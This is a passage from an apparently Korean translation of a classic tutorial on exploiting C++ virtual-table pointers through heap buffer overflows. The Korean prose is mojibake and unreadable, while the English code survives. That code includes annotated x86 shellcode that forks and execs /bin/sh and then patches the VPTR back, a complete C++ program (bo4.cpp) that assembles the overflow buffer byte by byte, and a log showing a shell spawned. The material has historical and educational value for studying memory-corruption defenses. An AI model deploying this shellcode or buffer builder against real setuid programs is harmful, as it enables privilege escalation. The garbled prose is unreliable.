¸øÇÑ´Ù. À̸¦ ÇÇÇϱâ À§Çؼ­, ½©ÄÚµåÀÇ ÇÑ ºÎºÐ(°¡´ÉÇϸé ÀûÀº ºÎºÐ)À» ¸Þ¸ð¸®¿¡ ´Ù¸¥ ºÎºÐ¿¡ º¹»çÇϵµ·Ï ÇÏÀÚ. ÀÌ °æ¿ì¿¡ ½ºÅÿ¡ º¹»ç½ÃŲ ½©ÄÚµåÀÇ ºÎºÐÀ» ¾ÕÀ¸·Î´Â "stackcode"¶ó ºÎ¸¦ °ÍÀÌ´Ù. ÀÌ ¶§ ¿ì¸®°¡ »ç¿ëÇÏ´Â ½ºÅÃÀÌ ½ÇÇà°¡´ÉÇÑÁö ¿©ºÎ´Â ±×¸® Áß¿äÇÏÁö ¾Ê´Ù. (¿ªÀÚÁÖ : ´Ü¼øÈ÷ ½©ÄÚµåÀÇ ºÎºÐÀ» ÀúÀåÇÏ´Â ¿ªÇÒ¸¸À» Çϱ⠶§¹®) - ¾Õ¿¡¼­ ¿ì¸®´Â "strange handling" À̶ó´Â °ÍÀ» ¾ð±ÞÇÏ¿´´Ù. ÀÌ°ÍÀº °´Ã¼ÀÇ ÁÖ¼Ò¿¡ VTABLE¾È ¿¡¼­ÀÇ ÁöÁ¤µÈ ¿ÀÇÁ¼Â¿¡ ÀÖ´Â °ªÀ» ´õÇÏ¿´°í, ±× °á°ú¸¦ ½ºÅÿ¡ Ǫ½¬ÇÏ¿´´Ù. À§¿¡¼­´Â ÀÌ¹Ì ½ÇÇà µÈ methodÀÇ This pointer¿ªÇÒÀ» ÇÏ¿´´Ù. ÇÏÁö¸¸ À̹ø¿¡´Â VTABLE¿¡¼­ ÁöÁ¤µÈ ¿ÀÇÁ¼Â¿¡ ÀÖ´Â °ª°ú °´Ã¼ÀÇ ÁÖ¼Ò¸¦ ´õÇÏ´Â °Í¿¡ ÀÖ¾î ¹öÆÛ¿¡ °¡Àå ¾Õ¿¡ ³õÀ» VTABLEÀÌ À̹ø¿¡´Â 00h bytes¸¦ °¡ÁöÁö ¾ÊÀ¸¹Ç·Î, Á¶±ÝÀÇ ¹®Á¦°¡ ÀÖ´Ù. ÀÌ¿Í °°Àº ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ VTABLE»óÀÇ ¿ÀÇÁ¼Â¿¡ ÀÓÀÇÀÇ °ªÀ» ³Ö°í, ÈÄ¿¡ ½ºÅÿ¡ Ǫ½¬µÈ »ó Å¿¡¼­ ÀÌ °ª(This Æ÷ÀÎÅÍ)À» Á¤È®È÷ °è»êÇÒ °ÍÀÌ´Ù. - ÇÁ·Î¼¼½º¿¡¼­ fork()ÇÏ¿©, ½©À» ½ÇÇà½ÃÅ°°í(exec()), ±×¸®°í child ÇÁ·Î¼¼½ºÀÇ Á¾·á¸¦ ±â´Ù¸®±â À§ÇØ(wait()), ±×¸®°í main ÇÁ·Î±×·¥À» °è¼Ó ½ÇÇà½Ãų °ÍÀÌ´Ù. - ½ÇÇàÀ» °è¼Ó À̾ ½Ãų ¾îµå·¹½º´Â °´Ã¼ÀÇ »ó´ëÀûÀΠŬ·¡½ºÀÇ VTABLE¾È¿¡ ÀÖ´Â º»·¡ methodÀÇ ÁÖ¼Ò°ªÀ̱⠶§¹®¿¡, »ó¼ö(°íÁ¤µÈ)°ªÀÌ´Ù. - EAX ·¹Áö½ºÅÍ°¡ ¾î¶² °æ¿ìÀ̵çÁö methodÀÇ ¸®ÅÏ°ªÀ¸·Î ´Ù½Ã ¾²¿©Áö¹Ç·Î, À̸¦ ÀÌ¿ëÇÒ °ÍÀÌ´Ù. - ¹öÆ۾ȿ¡ ¾î¶² 00h null byteµµ Æ÷ÇÔÇÏÁö ¾ÊÁö¸¸, ½ÇÇàÇÒ ¶§ ¹®ÀÚ ½ºÆ®¸µ¿¡ ÇÊ¿äÇÑ null byte°¡ Á¸ÀçÇؾ߸¸ ÇÑ´Ù. À§¿¡ ¾ð±ÞµÈ Áß¿äÇÑ Á¡µéÀ» Àû¿ë½ÃÄÑ, ¾Æ·¡¿Í °°Àº ´ÙÀ̾î±×·¥À¸·Î ¹öÆÛ¸¦ ´ë·« ÁüÀÛÇØ º¸°Ú´Ù: +------------------------------------<-(1)---------------------------------+ | our VTABLE | =+=================== ==+= 9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL ==+= ==+= | | | ======== | | | | | \ | +-->--+ | | \(a copy on the stack) | | | ======== +---(2)-->--------+ | BBB... B | | | +-(3)->+ +--> old method Where: 9 NOP bytes¸¦ ³ªÅ¸³½´Ù (90h). T Æ÷ÀÎÅÍ¿¡ ´õÇؼ­ ½ºÅÿ¡ Ǫ½¬ÇÒ ¿ÀÇÁ¼Â ¿öµå¸¦ ³ªÅ¸³¿(strange handling ;). M ¹öÆ۾ȿ¡¼­ ½©ÄÚµåÀÇ Ã³À½ÀÇ ÁÖ¼Ò¸¦ ³ªÅ¸³½´Ù. S ¹öÆ۾ȿ¡¼­ "/bin/sh" ½ºÆ®¸µÀÇ ÁÖ¼Ò¸¦ ³ªÅ¸³½´Ù. 0 90h bytes¸¦ ³ªÅ¸³»Áö¸¸, ÀÌ°ÍÀº ½ÇÇàµÉ ¶§ 00h·Î ÃʱâÈ­ µÈ´Ù. (exec()ÇÔ¼ö¸¦ À§Çؼ­) /bin/sh 00h·Î ³¡³ªÁö ¾Ê´Â, "/bin/sh" ½ºÆ®¸µÀ» ³ªÅ¸³½´Ù. A ½©Äڵ带 ³ªÅ¸³½´Ù. (ÁÖ·Î ½©À» ½ÇÇàÇÏ°í, ½ºÅÿ¡ ½ºÅÃÄÚµå ºÎºÐÀ» º¹»ç½ÃÅ°°í, ±×°ÍÀ» ½ÇÇàÇÑ´Ù.) B ½ºÅÃÄڵ带 ³ªÅ¸³½´Ù. (new stringÀ¸·Î ¹öÆÛ¸¦ ¸®¼ÂÇÏ°í, º»·¡ ÇÁ·Î±×·¥À» °è¼Ó ½ÇÇà½ÃÅ°±â À§ÇØ ¿ø·¡ÀÇ method¸¦ ½ÇÇàÇÑ´Ù.) newstring "newstring"À̶ó´Â stringÀ» ³ªÅ¸³»¸ç, ÀÌ°ÍÀº ½©ÀÌ ½ÇÇàµÇ°í ³­ ÈÄ ¹öÆÛ¿¡ ´Ù½Ã ¾²¿©Á® ½ÇÇàµÉ °ÍÀÌ´Ù. V VPTRÀ» ³ªÅ¸³»¸ç, ¿ì¸®°¡ ¸¸µç VTABLE, Áï ¹öÆÛÀÇ °¡Àå ¾ÕºÎºÐÀ» °¡¸®ÄѾ߸¸ ÇÑ´Ù. L VPTR µÚ¿¡ º¹»çµÉ byte¸¦ ³ªÅ¸³½´Ù. ÀÌ byte´Â 00h°¡ µÈ´Ù. ´õ ÀÚ¼¼ÇÑ ¹æ¹ýÀ¸·Î, ´ÙÀ½ÀÇ ½©ÄÚµå¿Í ½ºÅÃÄÚµåÀÇ ³»¿ëÀ» »ìÆ캸ÀÚ: pushl %ebp //save existing EBP movl %esp,%ebp //stack frame creation xorl %eax,%eax //EAX=0 movb $0x31,%al //EAX=$StackCodeSize (½ºÅÿ¡ º¹»çµÉ ÄÚµåÀÇ Å©±â) subl %eax,%esp //½ºÅÃÄڵ忡 Æ÷ÇÔµÈ //Áö¿ª º¯¼ö(local variable) »ý¼º. pushl %edi pushl %esi pushl %edx pushl %ecx pushl %ebx //registers ÀúÀå pushf //flags ÀúÀå cld //direction flag=incrementation(0) xorl %eax,%eax //EAX=0 movw $0x101,%ax //EAX=$AddThis (½ºÅÿ¡ ThisÆ÷ÀÎÅ͸¦ // °è»êÇϱâ À§ÇØ ´õÇÏ´Â °ª) subl %eax,0x8(%ebp) //¿ø·¡ÀÇ ThisÆ÷ÀÎÅ͸¦ º¹±¸Çϱâ À§ÇØ, // ÇöÀç ½ºÅÿ¡ ÀúÀåµÈ ThisÆ÷ÀÎÅ͸¦ // ÀÌ °ªÀ¸·Î »©ÁØ´Ù. xorl %eax,%eax //EAX=0 movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset //(¹öÆÛ¾ÈÀÇ ´õºí ¿öµå NULLÀÇ ÁÖ¼Ò) stosl %eax,%es:(%edi) //¹öÆÛ¿¡ NULL bytes¸¦ ¾´´Ù. movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset // ("/bin/sh" ´ÙÀ½ÀÇ 00hÀÇ ÁÖ¼Ò) stosb %al,%es:(%edi) //"/bin/sh" ´ÙÀ½¿¡ 00h¸¦ ¾´´Ù. movb $0x2,%al int $0x80 //fork() xorl %edx,%edx //EDX=0 cmpl %edx,%eax jne 0x804a8c1 //EAX=0À̸é LFATHER·Î Á¡ÇÁ // (EAX=0 parent process) movb $0xb,%al //the child process movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset // ("/bin/sh"ÀÇ ÁÖ¼Ò) movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset // ("/bin/sh"ÀÇ ÁÖ¼Ò¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍÀÇ ÁÖ¼Ò) xorl %edx,%edx //EDX=0h (NULL) int $0x80 //exec() "/bin/sh" LFATHER: movl %edx,%esi //ESI=0 movl %edx,%ecx //ECX=0 movl %edx,%ebx //EBX=0 notl %ebx //EBX=0xFFFFFFFF movl %edx,%eax //EAX=0 movb $0x72,%al //EAX=0x72 int $0x80 //wait() (shellÀÇ Á¾·á¸¦ ±â´Ù¸²) xorl %ecx,%ecx //ECX=0 movb $0x31,%cl //ECX=$StackCodeSize movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset //(stackcodeÀÇ Ã³À½ ÁÖ¼Ò) movl %ebp,%edi //EDI´Â Áö¿ª º¯¼ö(local variable)ÀÇ // ³¡À» °¡¸®Å²´Ù. subl %ecx,%edi //EDI´Â Áö¿ª º¯¼ö(local variable)ÀÇ // ½ÃÀÛÀ» °¡¸®Å²´Ù. movl %edi,%edx //EDXµµ Áö¿ª º¯¼ö(local variable)ÀÇ // ½ÃÀÛÀ» °¡¸®Å²´Ù. repz movsb %ds:(%esi),%es:(%edi) //½ºÅÿ¡ Áö¿ª º¯¼ö(local variable)·Î¼­ // ½ºÅÃÄڵ带 º¹»çÇÑ´Ù. jmp *%edx //½ºÅÿ¡¼­ stackcode¸¦ ½ÇÇà stackcode: movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset //(¹öÆ۾ȿ¡ ¿ì¸®°¡ ´Ù½Ã ¾²±æ ¿øÇÏ´Â // »õ·Î¿î ½ºÆ®¸µÀ» °¡¸®Å²´Ù.) movl $0x804a860,%edi //EDI=$BufferAddress (¹öÆÛÀÇ Ã³À½À» // °¡¸®Å²´Ù.) xorl %ecx,%ecx //ECX=0 movb $0x9,%cl //ECX=$NewBufferSize (»õ·Î¿î ½ºÆ®¸µÀÇ // ±æÀÌ) repz movsb %ds:(%esi),%es:(%edi) //¹öÆÛÀÇ °¡Àå ¾Õ¿¡ »õ·Î¿î // ½ºÆ®¸µÀ» º¹»çÇÑ´Ù. xorb %al,%al //AL=0 stosb %al,%es:(%edi) //½ºÆ®¸µÀÇ ³¡¿¡ 00h¸¦ ³õ´Â´Ù. movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset // (VPTRÀÇ ¾îµå·¹½º) movl $0x8049730,%eax //EAX=$VTABLEAddress (óÀ½ÀÇ classÀÇ // original VTABLE ÁÖ¼Ò) movl %eax,%ebx //EBX=$VTABLEAddress stosl %eax,%es:(%edi) //VPTRÀ» original VTABLEÀ» °¡¸®Å°µµ·Ï // ¼öÁ¤. movb $0x29,%al //AL=$LastByte (¸Þ¸ð¸®»ó¿¡¼­ VPTR¿¡ // µÚÀÌ¾î ³ª¿À´Â byte) stosb %al,%es:(%edi) //ÀÌ byte¸¦ ¼öÁ¤ÇÑ´Ù. movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4 // (EAX´Â original VTABLE¾È¿¡ ÀÖ´Â // original methodÀÇ ÁÖ¼Ò¸¦ °¡Áö°í // ÀÖ´Ù). popf popl %ebx popl %ecx popl %edx popl %esi popl %edi //Ç÷¡±×¿Í ·¹Áö½ºÅ͸¦ ´Ù½Ã µÇµ¹¸². movl %ebp,%esp popl %ebp //½ºÅà ÇÁ·¹ÀÓ destroy. jmp *%eax //original method ½ÇÇà À§ÀÇ ½©ÄÚµå¿Í ½ºÅÃÄڵ带 ÄÄÆÄÀÏ ÇÒ BufferOverflow() ÇÔ¼ö¸¦ ÄÚµùÇغ¸ÀÚ. ±×·¡¼­ »õ·Î¿î ¹öÆÛ ¸¦ ¸¸µé¾î º¸ÀÚ. ¿ì¸®°¡ ÀÌ ÇÔ¼ö¿¡ ÀüÇØÁÖ¾î¾ß ÇÏ´Â ÆĶó¸ÞÅÍ´Â ´ÙÀ½°ú °°´Ù: - BufferAddress = ¸Þ¸ð¸®»ó¿¡¼­ ¿ì¸®°¡ ¸¸µé ¹öÆÛÀÇ ÁÖ¼Ò. - IAddress = ½ÇÇàµÉ ù¹ø° methodÀÇ VTABLE¾ÈÀÇ index. - VPTROffset = ¹öÆÛ¾ÈÀÇ µ¤¾î¾µ VPTRÀÇ ¿ÀÇÁ¼Â. - AddThis = "strange handling"À¸·Î ÀÎÇØ, stack»óÀÇ ThisÆ÷ÀÎÅÍ¿¡ ´õÇØÁú °ª. - VTABLEAddress = º»·¡ÀÇ class¿¡¼­ original VTABLEÀÇ ¾îµå·¹½º (coded in the executable). - *NewBuffer = ÇÁ·Î±×·¥ÀÌ Á¤»óÀûÀ¸·Î °è¼Ó ½ÇÇàµÇ±â À§ÇØ ¹öÆ۾ȿ¡ ³õÀ» »õ·Î¿î ¹öÆÛÀÇ ³»¿ëÀ» °¡¸®Å°´Â Æ÷ÀÎÅÍ - LastByte = ¸Þ¸ð¸®»ó¿¡¼­ VPTR¿¡ µÚÀÌ¾î µû¸£´Â byte·Î¼­, original buffer¿¡ ¿ì¸®ÀÇ ¹öÆÛ¸¦ ³õÀ» ¶§ 00h·Î µ¤¾î¾²¿©Áø original byte. ÃÖÁ¾ÀûÀÎ Äڵ尡 ¾Æ·¡¿¡ ³ª¿ÍÀÖ´Ù (bo4.cpp): #include #include #include #define BUFFERSIZE 256 class BaseClass { private: char Buffer[BUFFERSIZE]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset, unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) { char *CBuf; unsigned long *LBuf; unsigned short *SBuf; char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long i, MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset, LastByteOffset; char *BinSh="/bin/sh"; CBuf=(char*)malloc(VPTROffset+4+1); LBuf=(unsigned long*)CBuf; BinShSize=(char)strlen(BinSh); ShellCodeSize=0x62; StackCodeSize=0x91+2-0x62; NewBufferSize=(char)strlen(NewBuffer); MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4; NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12; BinSh00Offset=BinShOffset+(unsigned long)BinShSize; ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize; LastByteOffset=VPTROffset+4; for (i=0;i LFATHER) CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4; CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve()) //LFATHER: CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait()) CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode) //stackcode: CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4; CBuf[i++]='\xBF'; //movl $BufferAddress,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi) CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4; CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi) CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al CBuf[i++]='\xAA'; //stosb %al,%es:(%edi) CBuf[i++]='\x8B';CBuf[i++]='\x43'; CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax CBuf[i++]='\x9D'; //popf CBuf[i++]='\x5B'; //popl %ebx CBuf[i++]='\x59'; //popl %ecx CBuf[i++]='\x5A'; //popl %edx CBuf[i++]='\x5E'; //popl %esi CBuf[i++]='\x5F'; //popl %edi CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp CBuf[i++]='\x5D'; //popl %ebp CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize); //insert the new string into the buffer LBuf=(unsigned long*)&CBuf[VPTROffset]; *LBuf=BufferAddress; //address of our VTABLE CBuf[LastByteOffset]=0; //last byte (for strcpy()) return CBuf; } void main() { BaseClass *Object[2]; unsigned long *VTABLEAddress; Object[0]=new MyClass1; Object[1]=new MyClass2; printf("Object[0] address = %X\n",(unsigned long)&(*Object[0])); VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256); printf("VTable address = %X\n",*VTABLEAddress); Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE, 0x0101,*VTABLEAddress,"newstring",0x29)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } ÀÚ, ÀÌÁ¦ ÄÄÆÄÀÏÇÏ°í, °á°ú¸¦ »ìÆ캸ÀÚ... rix@pentium:~/BO > gcc -o bo4 bo4.cpp rix@pentium:~/BO > bo4 adresse Object[0] = 804A860 adresse VTable = 8049730 sh-2.02$ exit exit MyClass1: newstring MyClass2: string2 rix@pentium:~/BO > »ìÆ캻 ¹Ù¿Í °°ÀÌ, ¿ì¸®ÀÇ ½©ÀÌ ½ÇÇàµÇ°í ³ª¼­, ÀÌ ÇÁ·Î±×·¥Àº Á¤»óÀûÀ¸·Î °è¼Ó ½ÇÇàµÇ¸ç, ¹öÆÛ¾ÈÀÇ »õ·Î¿î ½ºÆ®¸µ("new string")À» º¸¿©ÁØ´Ù. (¿ªÀÚÁÖ : ±ú²ýÇÑ ¿À¹öÇ÷ÎÀ̱º¿ä;) Conclusion ========== ¿ä¾àÇÏÀÚ¸é, ÀÌ Å×Å©´ÐÀº ±âº»ÀûÀÎ ¹öÆÛ¿À¹öÇ÷οìÀÇ ±â¹ýÀÌÁö¸¸, ¼º°øÀ» À§Çؼ­ ¸î°¡Áö Á¶°ÇÀÌ ÇÊ¿äÇÏ´Ù: - ƯÁ¤ÇÑ ¹öÆÛ°¡ ÇÊ¿äÇÏ´Ù. - ÇÁ·Î±×·¥Àº suidÀ̾î¾ß ÇÑ´Ù. - ½ÇÇà°¡´ÉÇÑ heap¶Ç´Â stackÀÌ ÇÊ¿äÇÏ´Ù. - ¹öÆÛÀÇ °¡Àå óÀ½ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß¸¸ ÇÑ´Ù. ( Heap¿µ¿ªÀ̵çÁö Stack¿µ¿ªÀ̵çÁö ) - ¹öÆÛÀÇ Ã³À½¿¡¼­ ºÎÅÍ VPTR±îÁöÀÇ ¿ÀÇÁ¼ÂÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. (ÀÌ ¿ÀÇÁ¼ÂÀº ½ÇÇàÇÒ ¶§¸¶´Ù ¹Ù²Ù¾î ÁÖ´Â °ÍÀÌ ¾Æ´Ï¶ó °íÁ¤µÇ¾î ÀÖ´Â °ªÀÌ´Ù.) - ¿À¹öÇ÷ÎÇÑ ÈÄ¿¡ ½ÇÇàµÉ ù¹ø° method¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ°¡ ÀúÀåµÈ VTABLEÀÇ ¿ÀÇÁ¼ÂÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. (ÀÌ ¿ÀÇÁ¼Âµµ À§¿Í °°ÀÌ °íÁ¤µÈ °ªÀÌ´Ù.) - ÀÌ ÇÁ·Î±×·¥À» °è¼Ó ½ÇÇàÀ§Çؼ­ VTABLEÀÇ Á¤È®ÇÑ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù. ÇÊÀÚ´Â ÀÌ ±â»ç°¡ ÃÖ±ÙÀÇ modern programming¿¡¼­ Á¡Á¡ ´õ ¸¹ÀÌ »ç¿ëµÇ´Â Æ÷ÀÎÅÍÀÇ »ç¿ë¹ýÀÌ Æ¯Á¤ÇÑ °æ¿ì¿¡ ÀÖ¾î ¸Å¿ì À§ÇèÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» º¸¿©ÁÖ°í ½Í¾ú´Ù. ¿ì¸®´Â C++°ú °°Àº °­·ÂÇÑ ±â´ÉÀ» °¡Áø ¸î¸î ¾ð¾î°¡ °¡Áø Ãë¾àÁ¡°ú, ÀÌ°ÍÀº ƯÁ¤ÇÑ ¾ð¾î³ª Åø·Î ÇÁ·Î±×·¥ÀÌ secureÇØ Áú¼ö ¾ø´Ù´Â °ÍÀ» ¾Ë°Ô µÇ¾úÀ» °ÍÀÌ´Ù... Thanks to: route, klog, mayhem, nite, darkbug. |EOF|-------------------------------------------------------------------------|